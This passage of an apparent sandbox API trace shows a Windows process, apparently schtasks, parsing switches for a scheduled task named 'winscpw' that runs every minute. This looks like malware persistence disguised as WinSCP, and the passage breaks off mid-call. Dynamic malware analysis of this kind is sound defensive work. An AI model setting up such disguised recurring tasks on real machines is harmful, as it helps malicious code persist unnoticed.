[0080.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.039] lstrlenW (lpString="p") returned 1 [0080.039] GetThreadLocale () returned 0x409 [0080.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.039] lstrlenW (lpString="ru") returned 2 [0080.039] GetThreadLocale () returned 0x409 [0080.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.039] lstrlenW (lpString="rp") returned 2 [0080.039] GetThreadLocale () returned 0x409 [0080.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.039] lstrlenW (lpString="sc") returned 2 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="mo") returned 2 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="d") returned 1 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="m") returned 1 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="i") returned 1 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="tn") returned 2 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="tr") returned 2 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="st") returned 2 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="sd") returned 2 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.040] lstrlenW (lpString="ed") returned 2 [0080.040] GetThreadLocale () returned 0x409 [0080.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="it") returned 2 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="et") returned 2 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="k") returned 1 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="du") returned 2 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="ri") returned 2 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="z") returned 1 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="f") returned 1 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="v1") returned 2 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="xml") returned 3 [0080.041] GetThreadLocale () returned 0x409 [0080.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.041] lstrlenW (lpString="ec") returned 2 [0080.042] GetThreadLocale () returned 0x409 [0080.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.042] lstrlenW (lpString="rl") returned 2 [0080.042] GetThreadLocale () returned 0x409 [0080.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.042] lstrlenW (lpString="delay") returned 5 [0080.042] GetThreadLocale () returned 0x409 [0080.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.042] lstrlenW (lpString="np") returned 2 [0080.042] SetLastError (dwErrCode=0x0) [0080.042] SetLastError (dwErrCode=0x0) [0080.042] lstrlenW (lpString="/create") returned 7 [0080.042] lstrlenW (lpString="-/") returned 2 [0080.042] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.042] lstrlenW (lpString="create") returned 6 [0080.042] lstrlenW (lpString="create") returned 6 [0080.042] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.042] lstrlenW (lpString="create") returned 6 [0080.042] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.042] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|create|") returned 8 [0080.042] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|create|") returned 8 [0080.042] lstrlenW (lpString="|create|") returned 8 [0080.042] lstrlenW (lpString="|create|") returned 8 [0080.042] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0080.042] SetLastError (dwErrCode=0x0) [0080.042] SetLastError (dwErrCode=0x0) [0080.042] SetLastError (dwErrCode=0x0) [0080.043] lstrlenW (lpString="/tn") returned 3 [0080.043] lstrlenW (lpString="-/") returned 2 [0080.043] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.043] lstrlenW (lpString="create") returned 6 [0080.043] lstrlenW (lpString="create") returned 6 [0080.043] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.043] lstrlenW (lpString="tn") returned 2 [0080.043] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.043] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|create|") returned 8 [0080.043] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.043] lstrlenW (lpString="|create|") returned 8 [0080.043] lstrlenW (lpString="|tn|") returned 4 [0080.043] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0080.043] SetLastError (dwErrCode=0x490) [0080.043] lstrlenW (lpString="?") returned 1 [0080.043] lstrlenW (lpString="?") returned 1 [0080.043] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.043] lstrlenW (lpString="tn") returned 2 [0080.043] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.043] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|?|") returned 3 [0080.043] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.043] lstrlenW (lpString="|?|") returned 3 [0080.043] lstrlenW (lpString="|tn|") returned 4 [0080.043] SetLastError (dwErrCode=0x490) [0080.043] lstrlenW (lpString="s") returned 1 [0080.044] lstrlenW (lpString="s") returned 1 [0080.044] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.044] lstrlenW (lpString="tn") returned 2 [0080.044] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.044] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|s|") returned 3 [0080.044] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.044] lstrlenW (lpString="|s|") returned 3 [0080.044] lstrlenW (lpString="|tn|") returned 4 [0080.044] SetLastError (dwErrCode=0x490) [0080.044] lstrlenW (lpString="u") returned 1 [0080.044] lstrlenW (lpString="u") returned 1 [0080.044] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.044] lstrlenW (lpString="tn") returned 2 [0080.044] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.044] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|u|") returned 3 [0080.044] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.044] lstrlenW (lpString="|u|") returned 3 [0080.044] lstrlenW (lpString="|tn|") returned 4 [0080.044] SetLastError (dwErrCode=0x490) [0080.044] lstrlenW (lpString="p") returned 1 [0080.044] lstrlenW (lpString="p") returned 1 [0080.044] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.044] lstrlenW (lpString="tn") returned 2 [0080.044] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.044] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|p|") returned 3 [0080.045] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.045] lstrlenW (lpString="|p|") returned 3 [0080.045] lstrlenW (lpString="|tn|") returned 4 [0080.045] SetLastError (dwErrCode=0x490) [0080.045] lstrlenW (lpString="ru") returned 2 [0080.045] lstrlenW (lpString="ru") returned 2 [0080.045] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.045] lstrlenW (lpString="tn") returned 2 [0080.045] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.045] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ru|") returned 4 [0080.045] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.045] lstrlenW (lpString="|ru|") returned 4 [0080.045] lstrlenW (lpString="|tn|") returned 4 [0080.045] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0080.045] SetLastError (dwErrCode=0x490) [0080.045] lstrlenW (lpString="rp") returned 2 [0080.045] lstrlenW (lpString="rp") returned 2 [0080.045] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.045] lstrlenW (lpString="tn") returned 2 [0080.045] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.045] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rp|") returned 4 [0080.045] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.045] lstrlenW (lpString="|rp|") returned 4 [0080.045] lstrlenW (lpString="|tn|") returned 4 [0080.045] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0080.046] SetLastError (dwErrCode=0x490) [0080.046] lstrlenW (lpString="sc") returned 2 [0080.046] lstrlenW (lpString="sc") returned 2 [0080.046] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.046] lstrlenW (lpString="tn") returned 2 [0080.046] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.046] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.046] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.046] lstrlenW (lpString="|sc|") returned 4 [0080.046] lstrlenW (lpString="|tn|") returned 4 [0080.046] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0080.046] SetLastError (dwErrCode=0x490) [0080.046] lstrlenW (lpString="mo") returned 2 [0080.046] lstrlenW (lpString="mo") returned 2 [0080.046] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.046] lstrlenW (lpString="tn") returned 2 [0080.046] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.046] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.046] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.046] lstrlenW (lpString="|mo|") returned 4 [0080.046] lstrlenW (lpString="|tn|") returned 4 [0080.046] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0080.046] SetLastError (dwErrCode=0x490) [0080.046] lstrlenW (lpString="d") returned 1 [0080.047] lstrlenW (lpString="d") returned 1 [0080.047] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.047] lstrlenW (lpString="tn") returned 2 [0080.047] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.047] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|d|") returned 3 [0080.047] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.047] lstrlenW (lpString="|d|") returned 3 [0080.047] lstrlenW (lpString="|tn|") returned 4 [0080.047] SetLastError (dwErrCode=0x490) [0080.047] lstrlenW (lpString="m") returned 1 [0080.047] lstrlenW (lpString="m") returned 1 [0080.047] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.047] lstrlenW (lpString="tn") returned 2 [0080.047] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.047] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|m|") returned 3 [0080.047] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.047] lstrlenW (lpString="|m|") returned 3 [0080.047] lstrlenW (lpString="|tn|") returned 4 [0080.047] SetLastError (dwErrCode=0x490) [0080.047] lstrlenW (lpString="i") returned 1 [0080.047] lstrlenW (lpString="i") returned 1 [0080.047] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.047] lstrlenW (lpString="tn") returned 2 [0080.047] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.048] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|i|") returned 3 [0080.048] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.048] lstrlenW (lpString="|i|") returned 3 [0080.048] lstrlenW (lpString="|tn|") returned 4 [0080.048] SetLastError (dwErrCode=0x490) [0080.048] lstrlenW (lpString="tn") returned 2 [0080.048] lstrlenW (lpString="tn") returned 2 [0080.048] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.048] lstrlenW (lpString="tn") returned 2 [0080.048] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.048] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.048] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.048] lstrlenW (lpString="|tn|") returned 4 [0080.048] lstrlenW (lpString="|tn|") returned 4 [0080.048] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0080.048] SetLastError (dwErrCode=0x0) [0080.048] SetLastError (dwErrCode=0x0) [0080.048] lstrlenW (lpString="winscpw") returned 7 [0080.048] lstrlenW (lpString="-/") returned 2 [0080.048] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0080.048] SetLastError (dwErrCode=0x490) [0080.048] SetLastError (dwErrCode=0x490) [0080.048] SetLastError (dwErrCode=0x0) [0080.048] lstrlenW (lpString="winscpw") returned 7 [0080.049] StrChrIW (lpStart="winscpw", wMatch=0x3a) returned 0x0 [0080.049] SetLastError (dwErrCode=0x490) [0080.049] SetLastError (dwErrCode=0x0) [0080.049] lstrlenW (lpString="winscpw") returned 7 [0080.049] SetLastError (dwErrCode=0x0) [0080.049] SetLastError (dwErrCode=0x0) [0080.049] lstrlenW (lpString="/sc") returned 3 [0080.049] lstrlenW (lpString="-/") returned 2 [0080.049] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.049] lstrlenW (lpString="create") returned 6 [0080.049] lstrlenW (lpString="create") returned 6 [0080.049] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.049] lstrlenW (lpString="sc") returned 2 [0080.049] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.049] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|create|") returned 8 [0080.049] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.049] lstrlenW (lpString="|create|") returned 8 [0080.049] lstrlenW (lpString="|sc|") returned 4 [0080.049] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0080.049] SetLastError (dwErrCode=0x490) [0080.049] lstrlenW (lpString="?") returned 1 [0080.049] lstrlenW (lpString="?") returned 1 [0080.049] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.049] lstrlenW (lpString="sc") returned 2 [0080.049] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.050] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|?|") returned 3 [0080.050] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.050] lstrlenW (lpString="|?|") returned 3 [0080.050] lstrlenW (lpString="|sc|") returned 4 [0080.050] SetLastError (dwErrCode=0x490) [0080.050] lstrlenW (lpString="s") returned 1 [0080.050] lstrlenW (lpString="s") returned 1 [0080.050] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.050] lstrlenW (lpString="sc") returned 2 [0080.050] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.050] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|s|") returned 3 [0080.050] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.050] lstrlenW (lpString="|s|") returned 3 [0080.050] lstrlenW (lpString="|sc|") returned 4 [0080.050] SetLastError (dwErrCode=0x490) [0080.050] lstrlenW (lpString="u") returned 1 [0080.050] lstrlenW (lpString="u") returned 1 [0080.050] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.050] lstrlenW (lpString="sc") returned 2 [0080.050] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.050] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|u|") returned 3 [0080.050] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.050] lstrlenW (lpString="|u|") returned 3 [0080.050] lstrlenW (lpString="|sc|") returned 4 [0080.051] SetLastError (dwErrCode=0x490) [0080.051] lstrlenW (lpString="p") returned 1 [0080.051] lstrlenW (lpString="p") returned 1 [0080.051] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.051] lstrlenW (lpString="sc") returned 2 [0080.051] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.051] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|p|") returned 3 [0080.051] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.051] lstrlenW (lpString="|p|") returned 3 [0080.051] lstrlenW (lpString="|sc|") returned 4 [0080.051] SetLastError (dwErrCode=0x490) [0080.051] lstrlenW (lpString="ru") returned 2 [0080.051] lstrlenW (lpString="ru") returned 2 [0080.051] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.051] lstrlenW (lpString="sc") returned 2 [0080.051] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.051] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ru|") returned 4 [0080.051] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.051] lstrlenW (lpString="|ru|") returned 4 [0080.051] lstrlenW (lpString="|sc|") returned 4 [0080.101] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0080.101] SetLastError (dwErrCode=0x490) [0080.101] lstrlenW (lpString="rp") returned 2 [0080.101] lstrlenW (lpString="rp") returned 2 [0080.101] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.101] lstrlenW (lpString="sc") returned 2 [0080.101] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.101] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rp|") returned 4 [0080.101] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.101] lstrlenW (lpString="|rp|") returned 4 [0080.101] lstrlenW (lpString="|sc|") returned 4 [0080.101] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0080.101] SetLastError (dwErrCode=0x490) [0080.101] lstrlenW (lpString="sc") returned 2 [0080.101] lstrlenW (lpString="sc") returned 2 [0080.101] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.101] lstrlenW (lpString="sc") returned 2 [0080.101] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.101] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.101] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.101] lstrlenW (lpString="|sc|") returned 4 [0080.101] lstrlenW (lpString="|sc|") returned 4 [0080.101] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0080.102] SetLastError (dwErrCode=0x0) [0080.102] SetLastError (dwErrCode=0x0) [0080.102] lstrlenW (lpString="MINUTE") returned 6 [0080.102] lstrlenW (lpString="-/") returned 2 [0080.102] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0080.102] SetLastError (dwErrCode=0x490) [0080.102] SetLastError (dwErrCode=0x490) [0080.102] SetLastError (dwErrCode=0x0) [0080.102] lstrlenW (lpString="MINUTE") returned 6 [0080.102] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0080.102] SetLastError (dwErrCode=0x490) [0080.102] SetLastError (dwErrCode=0x0) [0080.102] GetProcessHeap () returned 0x1d0000 [0080.102] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ed6a0 [0080.102] _memicmp (_Buf1=0x1ed6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.102] lstrlenW (lpString="MINUTE") returned 6 [0080.102] GetProcessHeap () returned 0x1d0000 [0080.102] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed6c0 [0080.102] lstrlenW (lpString="MINUTE") returned 6 [0080.102] lstrlenW (lpString=" \x09") returned 2 [0080.102] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0080.102] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0080.102] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0080.102] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0080.102] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0080.102] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0080.102] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0080.102] GetLastError () returned 0x0 [0080.103] lstrlenW (lpString="MINUTE") returned 6 [0080.103] lstrlenW (lpString="MINUTE") returned 6 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] SetLastError (dwErrCode=0x0) [0080.103] lstrlenW (lpString="/mo") returned 3 [0080.103] lstrlenW (lpString="-/") returned 2 [0080.103] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.103] lstrlenW (lpString="create") returned 6 [0080.103] lstrlenW (lpString="create") returned 6 [0080.103] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.103] lstrlenW (lpString="mo") returned 2 [0080.103] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.103] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|create|") returned 8 [0080.103] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.103] lstrlenW (lpString="|create|") returned 8 [0080.103] lstrlenW (lpString="|mo|") returned 4 [0080.103] StrStrIW 